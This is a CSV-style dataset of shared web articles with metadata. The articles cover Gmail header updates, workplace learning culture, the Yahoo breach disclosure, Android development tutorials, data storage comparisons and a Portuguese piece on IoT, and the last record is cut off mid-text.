1481802167,CONTENT SHARED,-3462051751080362224,-1387464358334758758,3523699029194550708,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://gsuiteupdates.googleblog.com/2016/12/support-your-gmail-users-more-easily.html,Support your Gmail users more easily with revamped bounce messages and message headers,"If you've ever had to troubleshoot your Gmail users' mail, you know that getting message headers and interpreting bounce messages can sometimes be a chore. That's why Gmail will be rolling out some user-facing features to make bounce messages and message headers easier to read and understand. Here's what's new: Bounce messages are now easier for your users to understand When users' mail has problems being delivered, this new format will have user-friendlier text, as well as translations into the user's language (if the language has been set on the account.) Below the improved bounce message, you can find the original bounce message, just like you're used to from before. Message Headers that are clear and readable Key information about the message will now be shown in a table with an easy to read format. If you only care about the Message Id, SPF, or DKIM status, it's right there in plain view. Additionally, there will be links to download the actual original message, and the ability to copy to clipboard. Below the table, you can find the original message header as before. Launch Details Release track: Show Original launched to both Rapid and Scheduled release on September 27 Bounce messages launching to both Rapid and Scheduled release on December 13 Rollout pace: Full rollout (1-3 days for feature visibility) Available to all G Suite editions Action: Change management suggested/FYI More Information Trace an email with its full headers Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1481802989,CONTENT SHARED,7424795099560672335,5127372011815639401,-3863590710909536616,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36",MG,BR,HTML,https://www.userlike.com/en/blog/company-learning-culture,7 Tips to Create a Company Learning Culture like Google - Without Resources,"""Ordinary people seek entertainment. Extraordinary people seek education and learning."" - Benjamin Hardy Companies with a learning culture are popular employers. In fact, how well a company supports the personal development of its employees is one of the main criteria for making it into 'Fortune's 100 Best Companies to Work For' list. Still, it's a point that most small businesses ignore. Part of the problem is the idea that small businesses can't afford it - that it means sending your employees on MBA's and expensive training programs. We used to think so at Userlike as well, but that's not what a learning culture is about. To use a stiff definition, a learning culture is, ""a collection of organizational conventions, values, practices and processes that encourage employees and organizations develop knowledge and competence."" Sounds fancy enough, but no mention of an MBA in there. It really doesn't have to be expensive - like us, you can start one almost for free. And although it might not get you into Fortune's list right away, it'll bless your business in a number of ways. Boost Productivity In mental labor - and I presume that's what you're doing - productivity doesn't depend so much on working hours. As Gregory Ciotti put it, productivity = focus + energy . Repetitive work drains you of your energy. Learning, on the other hand, releases an energy boost. Daniel Pink shows how motivation is made up out of three building blocks, the so-called trifecta of motivation : Autonomy, Mastery, and Purpose. All these elements are present in the act of learning. When you dedicate some resources to learning, you're actually taking a bit of focus away for the benefit of energy - lifting your overall productivity. Gallup's State of the Global Workplace Report came to the same conclusion, finding that learning leads to employee engagement. Cultivate Best Practices There's an obvious alignment of interests between employee and employer in a steep learning curve. For the company, the more the employee learns, the better she will do her job. The employee, on the other hand, will get more satisfaction out of her work by doing a better job and growing as a person. Paul Jun : ""Learning hones us like wind over sandstone; it sharpens our craft and removes the impurities in our misperceptions."" Grow Your Employees into the Leaders of Tomorrow Working in a fast growing company means you'll be taking in a lot of new people in a short period of time. More people means more hierarchy - perhaps even full time managers. Just like a feeling of injustice will strike when people cut in line at your daily supermarket trip, it's extremely frustrating to see new team members starting out higher on the ladder than you. To prevent this situation, we explained our team members that we see them as the leaders of tomorrow, but that they'll have to invest in themselves to rise up to the task. Rich football clubs like Manchester City or Chelsea spend dozens - sometimes hundreds - of millions each year on adding top players to their teams. But if you're a small club and you're not blessed with an oil sheik sugar daddy, your only option is to invest in training and nurturing your own youth teams into the stars of tomorrow. Attract Talent Harvard Business Review showed that personal growth is an innate desire for 'high potentials' . Therefore, to attract such talent, you need to offer growth opportunities. Back to the football analogy. You often see teenage prodigies choose a modest salary at a smaller club over a royal salary at a top club. Why? At smaller clubs, players are given more time to develop themselves, while in larger clubs the young guns stay out of sight on the bench or in the youth teams. It's a story of performance versus growth culture. At a small club - or startup - talents can be important at the frontline from the start, while at a top club - or corporate - they'll start out as glorified minions. So instead of aiming at their wallets, compete with the corporates for the best talents by addressing their desire to learn and be important. Retain Talent According to Inc , the number one reason for employees leaving a company is not salary, but a lack of advancement. As long as they are growing, it makes sense for your prodigies to stick around. Once they've reached their plateau, however, they'll get bored and leave. Ambitious people want to be important, successful, and make an impact. By keeping the focus on personal growth and challenging projects, you'll retain your star employees for much longer. What's more, by making their personal growth one of your main objectives, you'll secure their loyalty. In the end, your company will have to grow to ensure growth opportunities for your top performers. Now this part, as they would say in academics, is 'outside the scope of this paper'. But there's one sure way you won't ever grow - when you let your best people leave. Stay Up-to-Date with Critical Developments The present-day pace of development is so high that you can't leave its tracking to management only. Britt Andreatta shows that in a learning company, all employees have their eyes open to relevant developments - minimizing the risk of missing the boat on critical developments. Around one year ago we set out to develop a learning culture at Userlike - without resources. Here are our 7 tips. 1. Make Learning a Fixed Point on Your Discussion List Employees interpret the culture and values of a company through the focus points of its leadership. You can tell people to invest in themselves, but if you don't get back to it - if you don't repeat it over and over again - it won't stick. In the words of late Aristotle: ""it is frequent repetition that produces a natural tendency"". So after your upcoming team speech about your move to a company learning culture, include personal learning and growth topics in all of your one-on-one's. Start acting like one of Google's personal development coaches , supporting your employees in realizing their full potential. 2. Set Up Relevant Topics to Learn About One of the reasons why our education system is so darn inefficient is because 90% of what is taught won't be used ever again - or not anytime soon, anyways. To reach deep knowledge, you should deploy what you've learned in the workplace. To get to this stage we discuss upcoming projects with our team members and look for learning topics that relate to them. Some weeks ago, for example, we decided to set up a more structured process for our public relations. So we discussed what would be helpful areas to learn more about - with influencer marketing the first topic to focus on. The knife cuts both ways: the quality of learning improves because of its relevance to the current project, and upcoming projects are executed better. 3. Set Up a Company Library Since a few months we've set up a company library in our office. It started out with the founders bringing in their favorite books related to our business or their field - titles like Behind the Cloud, the Hard Thing About Hard Things, The Pragmatic Programmer, Rework, etc. We encouraged others to read these books as well, and then to take their own relevant books and make them available to the team. What's more, each employee got a budget for buying books related to their specific fields - books that advance their professional development. The library fulfills a practical as well as a symbolic purpose. Practical, because it offers easy access to high quality learning material. Symbolic, because it reflects our culture - our values of personal growth and following best practices. Besides that, having your own collection of field-specific books in the office reinforces a sense of ownership, a certain pride of your craft. 4. Online Course Allowance Not all online courses are free, of course, but on platforms like Coursera there are many great, affordable options out there that your employees can learn from. Most employees would rather spend those few bucks on another beer at their favorite bar than to spend it on an online course, so it's a good idea to set up a yearly allowance for this purpose. 5. Dedicate First 30 - 60 Minutes of the Day to Learning If you ask people to learn 'in their own time', it'll likely get pushed away for family time, sports, Netflix, etc. So we told our team that, even though we recommend investing in themselves outside of working hours, they should start each working day with 30 to 60 minutes of related studies. Some managers will worry about a loss in precious productivity. But remember that productivity doesn't depend so much on the number of hours worked. Productivity = focus + energy. Take away some focus for learning to make motivation and energy levels surge. Another benefit is that what you read about in the morning, your mind will be focused on throughout the day. So if your employees dedicate this morning hour to learning about their craft, they will perform their tasks better throughout the remainder of the day. This is why Benjamin Hardy advises us to read uplifting content in the morning , since ""it puts you in the zone to perform at your highest."" 6. Encourage the Use of a Notebook We encourage our team members to keep notebooks to write down their thoughts and learnings. Paul Jun shows how a world of benefits flows from the habit of regular writing , with wins in clarity, creativity, and better learning. Ask any writer and she'll tell you that her craft is her biggest source of learning. But even though it's a good habit, it's one that is hard to install on others. Our next point will help you with that. 7. Write Blog Posts About your Learnings The best blogs on the web, the ones providing the most value and deepest insights, come from people who write about experiences and learnings very close to them. This is nicely visualized in Teri Watson's post "" How to Find Your Content Marketing 'Sweet Spot' "". Blogs reaching this sweet spot go beyond your standard, brainless listicles. They spit knowledge. Some of my favorite examples from other SaaS companies are Help Scout and Intercom. Their entire teams seem to be activated in the creation of content - with the insights and experiences of the company overlapping with the interests of their target groups. Look around at your teammates. Look at all this potential, all this invaluable knowledge locked up inside their heads. Harness that knowledge and you can create some high value content. We set up quarterly goals for our team members to come up with a number of post topics related to their learnings. These suggestions are then discussed with the content team, turned into a tight and edgy post topic, after which a collaborative blog post is created. Again, the knife cuts on both sides. There is immediate relevance for the learnings of your team members, who need to think of topics for posts while they are reading, and apply them for the content. It's also stimulating, because the completion of a blog post marks the completion of a learning track - a celebration of what they've learned. On the other edge of the knife, the value of your blog will rise immensely. A company learning culture is too valuable to ignore. Guide your employees to success and they'll return the favor. Do you have some more bootstrapped tips for promoting a learning culture? Let us know in the comments below.",en
1481804329,CONTENT SHARED,-7034660627992927630,-8845298781299428018,-6058078805618666674,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/12/14/yahoo-discloses-hack-of-1-billion-accounts/,Yahoo discloses hack of 1 billion accounts,"Yahoo has suffered another hack. The company disclosed today that it has discovered a breach of more than one billion user accounts that occurred in August 2013. The breach is separate and distinct from the theft of data from 500 million accounts that Yahoo reported this September. ""The stolen user account information may have included names, email addresses, telephone numbers, dates of birth, hashed passwords (using MD5) and, in some cases, encrypted or unencrypted security questions and answers,"" Yahoo CISO Bob Lord wrote in a post announcing the hack. Yahoo says it is notifying the account holders affected in the breach. Developing... Featured Image: Bryce Durbin/TechCrunch",en
1481884117,CONTENT SHARED,-5314778455998444995,3302556033962996625,2119352685643514140,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://code.tutsplus.com/tutorials/android-fundamentals-intentservice-basics--mobile-6183,Android Fundamentals: IntentService Basics,"Today we'd like to take a quick tour of one of the lesser known, but highly useful types of services you might want to use: the IntentService. IntentService ( android.app.IntentService ) is a simple type of service that can be used to handle asynchronous work off the main thread by way of Intent requests. Each intent is added to the IntentService's queue and handled sequentially. IntentService is one of the simplest ways to offload ""chunks"" of processing off the UI thread of your application and into a remote work queue. There's no need to launch an AsyncTask and manage it each and every time you have more processing. Instead, you simply define your own service, package up an intent with the appropriate data you want to send for processing, and start the service. You can send data back to the application by simply broadcasting the result as an Intent object, and using a broadcast receiver to catch the result and use it within the app. Step 0: Getting Started We have provided a sample application which illustrates the difference between trying to perform processing on the main UI thread (a no-no for application responsiveness) and offloading that same processing to an IntentService. The code can be downloaded via the code download link at the top of this tutorial. Step 1: Defining the Processing of Messages First, it's important to understand when and why to use services in general. One good reason to use an IntentService is when you have work that needs to occur off the main thread to keep the application responsive and efficient. Another reason is when you may have multiple processing requests, and they need to be queued up and handled on the fly. So let's say we have an app that needs to do some ""processing."" We wanted something simple, so we basically will define processing in this case as taking in a string parameter, doing ""stuff"" to it, and returning the string result. To keep this tutorial simple, the ""stuff"" we will do is sleep for 30 seconds, pretending to do something useful. In reality, the ""stuff"" would likely be image processing, connecting to a network, or some other blocking operation. Therefore, if the entire ""processing"" were to occur within the main application, you might have an EditText control for taking message input, and a TextView control for splitting out the result. You could place this code in a Button handler to trigger the processing. The code in the Button click handler within the app Activity class would look something like this: The results are not ideal in any way. As soon as the user clicks the button, the entire application becomes unresponsive. The screen is frozen, the user cannot continue with their business, add any new messages. The user basically has to wait around for the processing to finish before they can do a thing. Step 2: Implementing an IntentService We would much rather have our processing not interfere with the application. We would also like to be able to add multiple message process requests easily. This is the perfect time to use an IntentService! So let's implement one. Create another class file in your project and add stubs for the methods you need to implement. You should add a constructor with the name of your new service. You will need to implement just one other method called onHandleIntent(). This method is where your processing occurs. Any data necessary for each processing request can be packaged in the intent extras, like so (imports, comments, exception handling removed for code clarity, see the full source code for details): Note we also define the intent extra parameters for the incoming and outgoing intent data. We use the PARAM_IN_MSG extra for the incoming message data. We will soon use the PARAM_OUT_MSG extra to send results back to the main application. Step 3: Launch the Service from your Application Activity Next, you need to start the service from your application activity. Add a second Button control that, instead of doing the processing on the main thread, delegates the processing to your new service instead. The new button handler looks like this: The code for the service method of processing is pretty straightforward. First, an Intent instance is generated and any data (like the message text) is packaged in the intent using the extras. Finally, the IntentService is started with a call to startService(). The service takes over from here, catching each intent request, processing it, and shutting itself down when it's all done. The main user interface remains responsive throughout the processing, allowing the user to continue to interact with the application. The user can input multiple messages, hit the button again and again, and each request is added to the service's work queue and handled. All in all, a better solution. But we're not quite done yet. Step 4: Define the Broadcast Receiver Your IntentService can now do its job of processing, but we need it to inform the main application's activity when it's processed each request so that the UI can be updated. This only really matters when the activity is running, so we'll use a simple broadcast sender/receiver model. Let's begin by defining a BroadcastReceiver subclass within the main activity. The onReceive() method does all the work. It updates the activity's TextView control based upon the intent extra data packaged in the incoming result. Note: If you were updating a database or shared preferences, there are alternate ways for the user interface to receive these changes. In these cases, the overhead of a broadcast receiver would not be necessary. Step 5: Broadcast the Result Next, you need to send a broadcast from the onHandleIntent() method of the IntentService class after the processing is complete and a result is available, like this: To send the result back to the main application, we package up another intent, stick the result data in as an extra, and blast it back using the sendBroadcast() method. Step 7: Register the Broadcast Receiver Finally, you must instantiate and register the receiver you've defined in your activity. Register the receiver in the onCreate() method with the appropriate intent filter to catch the specific result intent being sent from the IntentService. The result: each time the IntentService finishes processing a request, it fires off a broadcast with the result. The main activity can listen for the broadcast, and the onReceive() method of the broadcast receiver does the rest updating the UI accordingly. Don't forget to unregister the receiver in the proper time as well (onPause() is recommended). Conclusion Offloading work from the main UI thread of an application to a work queue in an IntentService is an easy and efficient way to process multiple requests. Doing so keeps your main application responsive and your users happy. For many purposes, using an IntentService may be easier and more desirable than an AsyncTask, which is limited to a single execution, or a Thread, which has more coding overhead. About the Authors Mobile developers Lauren Darcey and Shane Conder have coauthored several books on Android development: an in-depth programming book entitled Android Wireless Application Development, Second Edition and Sams Teach Yourself Android Application Development in 24 Hours, Second Edition . When not writing, they spend their time developing mobile software at their company and providing consulting services. They can be reached at via email to androidwirelessdev+mt@gmail.com , via their blog at androidbook.blogspot.com , and on Twitter @androidwireless . Need More Help Writing Android Apps? Check out our Latest Books and Resources! There's also a huge selection of Android app templates available on Envato Market to help you get a head-start with your Android development projects.",en
1481889480,CONTENT SHARED,2474876390020567211,3302556033962996625,2119352685643514140,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://code.tutsplus.com/articles/effective-android-components-communication-with-greenrobot-eventbus--cms-27654,Communication Within an Android App With EventBus,"A typical Android app tends to be composed of many layers, modules or structures such as Fragments, Activities, Presenters, and Services. Effective communication between these components can become difficult if they are tightly coupled together. In the lower level of your app architecture, such as the database, when an action happens, you might want to send data to a higher level such as the view. To do this, you might want to create a listener interface, async tasks or callbacks. All of these will work, but they have some major drawbacks: direct or tight coupling registering and unregistering multiple dependencies individually repetition of code difficulty in testing increased risk of bugs Using publish/subscribe or message bus architecture prevents all the potential problems highlighted above. It is a very good way to implement effective communications between components in an application without any of them needing to be aware of the others immediately. Using publish/subscribe in Android, any app component can publish events which it will hand over to the bus, and the relevant consumers can consume or subscribe to them. To use greenrobot EventBus, you need to first add it to in the app module build.gradle file, include compile 'org.greenrobot: eventbus :3.0.0' , and then sync your project afterwards. An Event Subscriber A subscriber simply subscribes to an event by registering in the event bus and can also unregister that event. To be a subscriber, you have to do three main things: 1. Register the subscriber in the event bus with register() . This informs the event bus that you want to begin receiving events. In an activity, this is in the onStart() method, while in a fragment put this in the onAttact(Activity activity) method. 2. Unregister the subscriber, which means tell the event bus to stop sending me events. In an activity, this is in the onStop() method, while in a fragment put this in the onDetach() method. 3. Implement the onEvent() to indicate the type of event you want to receive and action to take when you receive the event. Notice the @Subscribe annotation at the top of this method. In this case, we want to subscribe to a normal event and not a sticky one-I'll explain the difference later. Defining Event Messages The events in greenrobot EventBus are just objects that you define. You can have different event classes if you want. They do not inherit any base class or interface-they're just POJO (Plain Old Java Objects). Post Event and Post Sticky Event The main difference between post event and post sticky event is the caching mechanism employed inside the event bus. When someone posts a sticky event, this event is stored in a cache. When a new activity or fragment subscribes to the event bus, it gets the latest sticky event from the cache instead of waiting for it to be fired again to the event bus-so this event stays in the cache even after a subscriber has gotten it. Sticky events are posted with the postSticky(MessageEvent) method, and non-sticky events with the post(MessageEvent) method. For a regular, non-sticky event, if there no subscriber is found, the event will be thrown away. A sticky event will be cached, though, in case a subscriber comes along later. So when do you decide to use post sticky event? You can do this if you are tracking down the user's location, or for simple caching of data, tracking battery levels, etc. Subscribe to Post Sticky Event To subscribe to a sticky event, you include sticky = true inside the @Subscribe annotation. This indicates that we want to receive a sticky event of type MessageEvent from the cache. Removing Sticky Events removeStickyEvent(Event) removes a sticky event from the cache, and removeAllStickyEvents() will remove all sticky events. EventBus Thread Modes There are four thread modes available for subscribers to choose from: posting, main, background, and async. Posting This is the default. Subscribers will be called in the same thread as the thread where the event is posted. Including ThreadMode.POSTING in your @Subscribe annotation is optional. Main In this thread mode, subscribers will receive events in the main UI thread, no matter where the event was posted. This is the thread mode to use if you want to update UI elements as a result of the event. Background In this thread mode, subscribers will receive events in the same thread where they are posted, just like for ThreadMode.POSTING . The difference is that if the event is posted in the main thread, then subscribers will instead get them on a background thread. This makes sure that event handling doesn't block the app's UI. Still, don't run an operation that will take a long time on this thread. Async In this thread mode, subscribers will always receive events independently from the current thread and main thread. This enables the subscribers to run on a separate thread. This is useful for long-running operations such as network operations. Subscriber Priorities If you want to change the order in which subscribers get events, then you need to specify their priority levels during registration. Subscribers with a higher priority get the event before subscribers with a lower priority. This only affects subscribers in the same thread mode. Note that the default priority is 0. Cancelling Events If you want to stop an event from being delivered to other subscribers, call the cancelEventDelivery(Object event) method inside the subscriber's event handling method. Conclusion In this tutorial, you learned about: greenrobot EventBus and how it can improve your Android app the difference between regular and sticky events the different thread modes available and when to use each one subscriber priorities cancelling an event to stop receiving events To learn more about greenrobot EventBus , I suggest you visit the official documentation . Another library you can use to implement an event bus is RxAndroid. Check out our article on RxAndroid here on Envato Tuts+, or try some of our other Android courses or tutorials.",en
1481891309,CONTENT SHARED,4702453495211185350,9109075639526981934,-5159751837460716016,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",MG,BR,HTML,https://www.toptal.com/data-science/data-engineering-guide-to-storages,A Data Engineer's Guide To Non-Traditional Data Storages,"Data Engineering With the rise of big data and data science, many engineering roles are being challenged and expanded. One new-age role is data engineering . Originally, the purpose of data engineering was the loading of external data sources and the designing of databases (designing and developing pipelines to collect, manipulate, store, and analyze data). It has since grown to support the volume and complexity of big data. So data engineering now encapsulates a wide range of skills, from web-crawling, data cleansing, distributed computing, and data storage and retrieval. For data engineering and data engineers, data storage and retrieval is the critical component of the pipeline together with how the data can be used and analyzed. In recent times, many new and different data storage technologies have emerged. However, which one is best suited and has the most appropriate features for data engineering? Most engineers are familiar with SQL databases, such as PostgreSQL, MSSQL, and MySQL, which are structured in relational data tables with row-oriented storage. Given how ubiquitous these databases are, we won't discuss them today. Instead, we explore three types of alternative data storages that are growing in popularity and that have introduced different approaches to dealing with data. Within the context of data engineering, these technologies are search engines, document stores, and columnar stores. Search engines excel at text queries. When compared to text matches in SQL databases, such as LIKE , search engines offer higher query capabilities and better performance out of the box. Document stores provide better data schema adaptability than traditional databases. By storing the data as individual document objects, often represented as JSONs, they do not require schema predefining. Columnar stores specialize in single column queries and value aggregations. SQL operations, such as SUM and AVG , are considerably faster in columnar stores, as data of the same column are stored closer together on the hard drive. In this article, we explore all three technologies: Elasticsearch as a search engine, MongoDB as a document store, and Amazon Redshift as a columnar store. By understanding alternative data storage, we can choose the most suitable one for each situation. For data engineers, the most important aspects of data storages are how they index, shard, and aggregate data. To compare these technologies, we'll examine how they index, shard, and aggregate data. Each data indexing strategy improves certain queries while hindering others. Knowing which queries are used most often can influence which data store to adopt. Sharding, a methodology by which databases divide its data into chunks, determines how the infrastructure will grow as more data is ingested. Choosing one that matches our growth plan and budget is critical. Finally, these technologies each aggregate its data very differently. When we are dealing with gigabytes and terabytes of data, the wrong aggregation strategy can limit the types and performances of reports we can generate. As data engineers, we must consider all three aspects when evaluating different data storages. Contenders Search Engine: Elasticsearch Elasticsearch quickly gained popularity among its peers for its scalability and ease of integration. Built on top of Apache Lucene , it offers a powerful, out-of-the-box text search and indexing functionality. Aside from the traditional search engine tasks, text search, and exact value queries, Elasticsearch also offers layered aggregation capabilities. Document Store: MongoDB At this point, MongoDB can be considered the go-to NoSQL database. Its ease of use and flexibility quickly earned its popularity. MongoDB supports rich and adaptable querying for digging into complex documents. Often-queried fields can be sped up through indexing, and when aggregating a large chunk of data, MongoDB offers a multi-stage pipeline. Columnar Store: Amazon Redshift Alongside the growth of NoSQL's popularity, columnar databases have also gathered attention, especially for data analytics. By storing data in columns instead of the usual rows, aggregation operations can be executed directly from the disk, greatly increasing performance. A few years ago, Amazon rolled out its hosted service for a columnar store called Redshift. Indexing Elasticsearch's Indexing Capability In many ways, search engines are data stores that specialize in indexing texts. While other data stores create indices based on the exact values of the field, search engines allow retrieval with only a fragment of the (usually text) field. By default, this retrieval is done automatically for every field through analyzers. An analyzer is a module that creates multiple index keys by evaluating the field values and breaking them down into smaller values. For example, a basic analyzer might examine ""the quick brown fox jumped over the lazy dog"" into words, such as ""the,"" ""quick,"" ""brown,"" ""fox"" and so on. This method enables users to find the data by searching for fragments within the results, ranked by how many fragments match the same document data. A more sophisticated analyzer could utilize edit distances , n-grams , and filter by stopwords , to build a comprehensive retrieval index. MongoDB's Indexing Capability As a generic data store, MongoDB has a lot of flexibility for indexing data. Unlike Elasticsearch, it only indexes the _id field by default, and we need to create indices for the commonly queried fields manually. Compared to Elasticsearch, MongoDB's text analyzer isn't as powerful. But it does provide a lot of flexibility with indexing methods, from the compound and geospatial for optimal querying to the TTL and sparse for storage reduction. Redshift's Indexing Capability Unlike Elasticsearch, MongoDB, or even traditional databases, including PostgreSQL, Amazon Redshift does not support an indexing method. Instead, it reduces its query time by maintaining a consistent sorting on the disk. As users, we can configure an ordered set of column values as the table sort key. With the data sorted on the disk, Redshift can skip an entire block during retrieval if its value falls outside the queried range, heavily boosting performance. Sharding Elasticsearch's Sharding Capability Elasticsearch was built on top of Lucene to scale horizontally and be production ready. Scaling is done by creating multiple Lucene instances (shards) and distributing them across multiple nodes (servers) within a cluster. By default, each document is routed to its respective shard through its _id field. During retrieval, the master node sends each shard a copy of the query before finally aggregating and ranking them for output. MongoDB's Sharding Capability Within a MongoDB cluster, there are three types of servers: router, config, and shard. By scaling the router, servers can accept more requests, but the heavy lifting happens at the shard servers. As with Elasticsearch, MongoDB documents are routed (by default) via _id to their respective shards. At the query time, the config server notifies the router, which shards the query, and the router server then distributes the query and aggregates the results. Redshift's Sharding Capability An Amazon Redshift cluster consists of one leader node, and several compute nodes. The leader node handles the compilation and distribution of queries as well as the aggregation of intermediate results. Unlike MongoDB's router servers, the leader node is consistent and can't be scaled horizontally. While this creates a bottleneck, it also allows efficient caching of compiled execution plans for popular queries. Aggregating Elasticsearch's Aggregating Capability Documents within Elasticsearch can be bucketed by exact, ranged, or even temporal and geolocation values. These buckets can be further grouped into finer granularity through nested aggregation. Metrics, including means and standard deviations, can be calculated for each layer, which provides the ability to calculate a hierarchy of analyses within a single query. Being a document-based storage, it does suffer the limitation of intra-document field comparisons. For example, while it is good at filtering if a field followers is greater than 10, we cannot check if followers is greater than another field following . As an alternative, we can inject scripts as custom predicates. This feature is great for one-off analysis, but performance suffers in production. MongoDB's Aggregating Capability The Aggregation Pipeline is powerful and fast. As its name suggests, it operates on returned data in a stage-wise fashion. Each step can filter, aggregate and transform the documents, introduce new metrics, or unwind previously aggregated groups. Because these operations are done in a stage-wise manner, and by ensuring documents and fields are reduced to only filtered, the memory cost can be minimized. Compared to Elasticsearch, and even Redshift, Aggregation Pipeline is an extremely flexible way to view the data. Despite its adaptability, MongoDB suffers the same lack of intra-document field comparison as Elasticsearch. Furthermore, some operations, including $group , require the results to be passed to the master node. Thus, they do not leverage the distributed computing. Those unfamiliar with the stage-wise pipeline calculation will find certain tasks unintuitive. For example, summing up the number of elements in an array field would require two steps: first, the $unwind , and then the $group operation. Redshift's Aggregating Capability The benefits of Amazon Redshift cannot be understated. Frustratingly slow aggregations on MongoDB while analyzing mobile traffic is quickly solved by Amazon Redshift. Supporting SQL, traditional database engineers will have an easy time migrating their queries to Redshift. Onboarding time aside, SQL is a proven, scalable, and powerful query language, supporting intra-document/row field comparisons with ease. Amazon Redshift further improves its performance by compiling and caching popular queries executed on the compute nodes. As a relational database, Amazon Redshift does not have the schema flexibility that MongoDB and Elasticsearch have. Optimized for read operations, it suffers performance hits during updates and deletes. To maintain the best read time, the rows must be sorted, adding extra operational efforts. Tailored to those with petabyte-sized problems, it is not cheap and likely not worth the investment unless there are scaling problems with other databases. Picking the Winner In this article, we examined three different technologies - Elasticsearch, MongoDB, and Amazon Redshift - within the context of data engineering. However, there is no clear winner as each of these technologies is a front-runner in its storage type category. For data engineering, depending on the use case, some options are better than others. MongoDB is a fantastic starter database. It provides the flexibility we want when data schema is still to be determined. That said, MongoDB does not outperform specific use cases that other databases specialize in. While Elasticsearch offers a similar fluid schema to MongoDB, it is optimized for multiple indices and text queries at the expense of write performance and storage size. Thus, we should consider migrating to Elasticsearch when we find ourselves maintaining numerous indices in MongoDB. Redshift requires a predefined data schema, and is lacking the adaptability that MongoDB provides. In return, it outclasses other databases for queries only involving single (or a few) columns. When the budget permits, Amazon Redshift is a great secret weapon when others cannot handle the data quantity. About the author",en
1481891436,CONTENT SHARED,-5082274522455747241,5707382540067831352,9047116018259833205,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,http://www.ikewai.com/WordPress/2016/12/12/sinais-do-futuro-imediato-1-internet-das-coisas/,"SINAIS do FUTURO imediato: #1, internet das coisas","Silvio Meira vez por outra a gente é tentado a fazer previsões para o ano que vem, como se houvesse uma descontinuidade radical entre o que está acontecendo agora e o que poderá vir a rolar depois do 31 de dezembro. nunca gostei de pensar o futuro nestes termos. o futuro -qualquer futuro que vai acontecer- já está rolando, em parte, agora. seja como imaginação, ou planos, ou protótipo ou, quem sabe, já tenha até acontecido há algum tempo e ninguém tenha notado. ou, em muitos casos, tenha acontecido, mas não era seu tempo ainda -deu errado- e, de repente, vai voltar a acontecer. aí, é melhor a gente falar do futuro imediato, e não do ano que vem. qual é a diferença entre o futuro imediato e o futuro, só? é que o imediato é o que vai se dar nos próximos poucos anos, digamos 1, 3, ou 5. e o futuro pode se dar a qualquer tempo, entre amanhã e o fim do mundo. de qualquer forma, mesmo que se tenha um certo grau de certeza sobre o que poderia vir a acontecer daqui a algum tempo, quem faz previsões sempre se arrisca muito, pois um grande número de coisas pode atrapalhar o desenrolar das ideias, projetos, processos, tecnologias, tudo. a eleição de um presidente aqui, a queda de outro acolá, um tsunami lá. ou pode não haver futuro nenhum, se depender de stephen hawking . mas isso já é outra história. neste e nos próximos dez textos, vamos apostar nos dez futuros mais próximos que dependem -de uma ou outra forma- de tecnologias da informação e comunicação. neste, vamos olhar rapidamente um dos gráficos que a galera de TICs mais analisa, todo ano, procurando sinais de possíveis futuros, o hype cycle for emerging technologies do gartner group . a versão 2016 desta visão de mundo é mostrada na imagem abaixo. se você clicar na imagem, vai para uma explicação do próprio gartner sobre seus detalhes e o contexto de 2016, em particular; se clicar aqui , vai para uma explicação sobre o gráfico, em si, e seu processo de construção. como você está vendo, a primeira ""coisa"" que aparece na imagem, como um triângulo -que quer dizem adoção em escala em10 anos ou mais...- é ""smart dust"". e isso nos leva a explicar algo relevante sobre o gráfico: ele não trata de tecnologias, em si, mas de tecnologias que têm um potencial de mudança, no mercado. smart dust está no começo da subida do innovation trigger ; isso não quer dizer que a tecnologia é nova [o conceito é de 2001 ; a primeira implementação prática é de 2007 ] ou que está sendo testada; mas que as primeiras aplicações práticas que têm grande potencial estão a caminho. no caso, como mostra a imagem abaixo, já se consegue colar smart dust nos nervos de um modelo animal [um rato, no caso] e tanto enviar como retirar informação de lá. o potencial, como discutido no artigo Sprinkling of neural dust opens door to electroceuticals , de agosto de 2016, é imenso. mas está dez ou [muito] mais anos de aparecer num nervo humano, meu, pra testar ou controlar alguma coisa. o segundo ponto da curva do gartner é 4D printing . que é uma forma de 3D printing que resulta em objetos que têm um comportamento armazenado, que será ativado quando for combinado com alguma coisa. como água, por exemplo, ou os fluidos do seu trato intestinal. é interessante notar que quase tudo que se chama de impressão 3D, hoje, é na verdade impressão 2D aditiva; múltiplos nível de impressão em duas dimensões criando um objeto em três dimensões. elementar e rudimentar, ainda, para o pode vir a ser a síntese de objetos tridimensionais complexos de grande porte e em muito larga escala , como drones militares , usando um chemputer , ficção que você pode ver clicando no vídeo abaixo. essa aí não está em lugar nenhum do gráfico do gartner... e talvez não esteja, nem tão cedo. é bom dizer que um grande número de pontos que aparece no gráfico do gartner desaparece sem deixar rastro , pois não resiste à passagem pelo pico das expectativas inflacionadas, o cume do gráfico, onde muita gente acha que aquilo vai resolver tudo... e depois vê que não resolve quase nada. e aí não tem mercado. não acho que este é -ou será- o caso do nosso primeiro sinal do futuro imediato , a internet das coisas , que aparece no início do pico do gráfico, como IoT Platforms, plataformas para a internet das coisas. coisas , aqui, são dispositivos que têm, em alguma intensidade, capacidades de computação , comunicação e controle , simultaneamente, como indica o gráfico abaixo. se não tem sensores ou atuadores que lhe permitem características de controle, um objeto está no plano de computação e comunicação, é uma máquina em rede; se não tem capacidade de comunicação, é um sistema de controle digital; se não tem capacidades computacionais, é o que antigamente se chamava [e ainda existem, hoje] sistemas de telemetria. coisas, aqui pra nós, têm as três características, e todas elas digitais. a gente até poderia dizer que coisas, no sentido de internet das , são objetos 